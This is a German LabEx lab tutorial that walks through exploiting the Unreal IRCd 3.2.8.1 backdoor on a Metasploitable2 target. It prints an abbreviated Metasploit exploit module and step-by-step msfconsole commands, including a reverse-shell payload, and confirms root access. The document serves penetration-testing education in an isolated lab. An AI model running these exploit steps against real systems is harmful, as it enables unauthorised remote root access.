Einführung
In diesem Lab lernen wir, wie man den Unreal IRCd-Dienst auf der Metasploitable2-Zielmaschine, die auf der LabEx-Plattform gehostet wird, angreift. Wir beginnen damit, die Schwachstelle im Unreal IRCd-Dienst zu verstehen und führen anschließend einen Schwachstellen-Scan mit Nmap durch. Nachdem wir den anfälligen Dienst identifiziert haben, nutzen wir das Metasploit-Framework, um die Schwachstelle auszunutzen und eine Remote-Shell auf der Zielmaschine zu erhalten. Abschließend validieren wir den erfolgreichen Angriff, indem wir Befehle auf dem kompromittierten System ausführen.
Die Unreal IRCd-Schwachstelle verstehen und die Experimentierumgebung starten
Die Version 3.2.8.1 von Unreal IRCd enthält eine Backdoor-Schwachstelle (CVE-2010-2075), die es Remote-Angreifern ermöglicht, beliebigen Code auf dem betroffenen System auszuführen. Die Schwachstelle existiert im DEBUG3_DOLOG_SYSTEM-Makro, das externen bösartigen Code einbindet, welcher von einem Angreifer ausgenutzt werden kann.
Relevante Informationen:
Das Metasploit-Modul zur Ausnutzung dieser Schwachstelle:
Hier ist ein kurzer Überblick über das Metasploit-Modul:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
## ... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
Starten Sie nun die Angriffsmaschine (Kali Linux-Container) und die Zielmaschine (Metasploitable2 virtuelle Maschine) für das Experiment.
- Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie das Metasploitable2-Ziel mit dem folgenden Befehl:
sudo virsh start Metasploitable2
Warten Sie, bis die Zielmaschine gestartet ist; dies kann 1-3 Minuten dauern.
- Testen Sie die Konnektivität zur Zielmaschine durch einen Ping:
ping 192.168.122.102
Drücken Sie Ctrl+C, um den Ping zu beenden.
- Starten Sie den Kali Linux-Container und treten Sie der Bash-Umgebung bei, indem Sie Folgendes ausführen:
docker run -ti --network host b5b709a49cd5 bash
- Testen Sie innerhalb des Kali-Containers die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102
Drücken Sie Ctrl+C, um den Ping zu beenden.
Nun laufen sowohl die Angriffsmaschine als auch die Zielmaschine, und Sie können mit dem Penetrationstest beginnen.
Hinweis: Wenn Sie die aktuelle Bash versehentlich verlassen, wird der Kali-Container automatisch gestoppt. Sie können docker run -ti --network host b5b709a49cd5 bash erneut auf dem Host ausführen, um einen neuen Kali-Container zu starten und die Bash zu betreten, um das Experiment fortzusetzen.
Schwachstellen-Scanning durchführen
In diesem Schritt führen wir ein Schwachstellen-Scanning auf der Zielmaschine durch, um offene Ports und die auf diesen Ports laufenden Dienste zu identifizieren. Wir verwenden hierfür das leistungsstarke Tool Nmap (Network Mapper).
- Starten Sie die Metasploit-Konsole im Kali Linux-Container:
cd ~
msfconsole
- Verwenden Sie innerhalb der Metasploit-Konsole den Befehl
nmap, um die Zielmaschine zu scannen:
nmap -sV -T4 192.168.122.102
Die Option -sV aktiviert die Versionserkennung für die offenen Ports, und -T4 setzt die Timing-Richtlinie auf ein aggressives Niveau (1-5, wobei höher schneller bedeutet).
Die Ausgabe sollte einen offenen Port 6667 zeigen, auf dem der Dienst unreal ircd läuft.
Drücken Sie Ctrl+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten.
Die Unreal IRCd-Schwachstelle ausnutzen
Nachdem wir den anfälligen Unreal IRCd-Dienst auf Port 6667 identifiziert haben, können wir mit der Ausnutzung mittels des Metasploit-Frameworks fortfahren.
- Falls Sie sich nicht in der Metasploit-Konsole befinden, starten Sie diese bitte zuerst:
cd ~
msfconsole
- Suchen Sie in der Metasploit-Konsole nach dem Modul
unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
- Laden Sie das Modul:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Legen Sie den Ziel-Host fest:
set RHOST 192.168.122.102
- Setzen Sie ein Reverse-Shell-Payload für das Modul:
set PAYLOAD cmd/unix/reverse
- Geben Sie die IP-Adresse des Kali-Hosts an, die die Reverse-Shell empfangen soll:
set LHOST 192.168.122.1
- Führen Sie den Exploit aus:
exploit
Wenn der Exploit erfolgreich ist, sollten Sie eine Remote-Shell auf der Zielmaschine erhalten. Wenn Metasploit meldet, dass eine Command-Shell-Sitzung geöffnet wurde, können Sie mit den Validierungsbefehlen in der Shell fortfahren.
Drücken Sie Ctrl+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten.
Die Ausnutzung validieren
Um zu bestätigen, dass die Ausnutzung erfolgreich war, können wir Befehle in der im vorherigen Schritt erhaltenen Remote-Shell ausführen.
- Falls Sie sich nicht in der Metasploit-Konsole befinden, starten Sie diese bitte zuerst:
cd ~
msfconsole
- Überprüfen Sie den aktuellen Benutzer mit dem Befehl
whoami:
whoami
- Überprüfen Sie den Hostnamen mit dem Befehl
hostname:
hostname
- Überprüfen Sie die IP-Adresse mit dem Befehl
ifconfig:
ifconfig
Wenn die Ausgabe root als aktuellen Benutzer, metasploitable als Hostnamen anzeigt und die IP-Adresse mit der Zielmaschine (192.168.122.102) übereinstimmt, bestätigt dies, dass die Ausnutzung erfolgreich war und Sie die vollständige Kontrolle über das Zielsystem erlangt haben.
Drücken Sie Ctrl+D, um die Metasploit-Konsole zu verlassen und die Überprüfung zu starten.
Zusammenfassung
In diesem Lab haben wir die Unreal IRCd-Schwachstelle kennengelernt und erfahren, wie man sie mit dem Metasploit-Framework ausnutzt. Wir begannen damit, die Schwachstelle und ihre Auswirkungen zu verstehen, führten dann ein Schwachstellen-Scanning durch, um den anfälligen Dienst zu identifizieren. Nachdem wir den Unreal IRCd-Dienst auf Port 6667 gefunden hatten, nutzten wir das entsprechende Metasploit-Modul, um die Schwachstelle auszunutzen und Remote-Zugriff auf die Zielmaschine zu erhalten. Abschließend validierten wir den Erfolg durch die Ausführung von Befehlen auf dem kompromittierten System. Dieses Lab bot praktische Erfahrungen in der Schwachstellenanalyse, Exploitation und Validierung nach dem Angriff – essenzielle Fähigkeiten für ethische Hacker und Cybersicherheitsexperten.



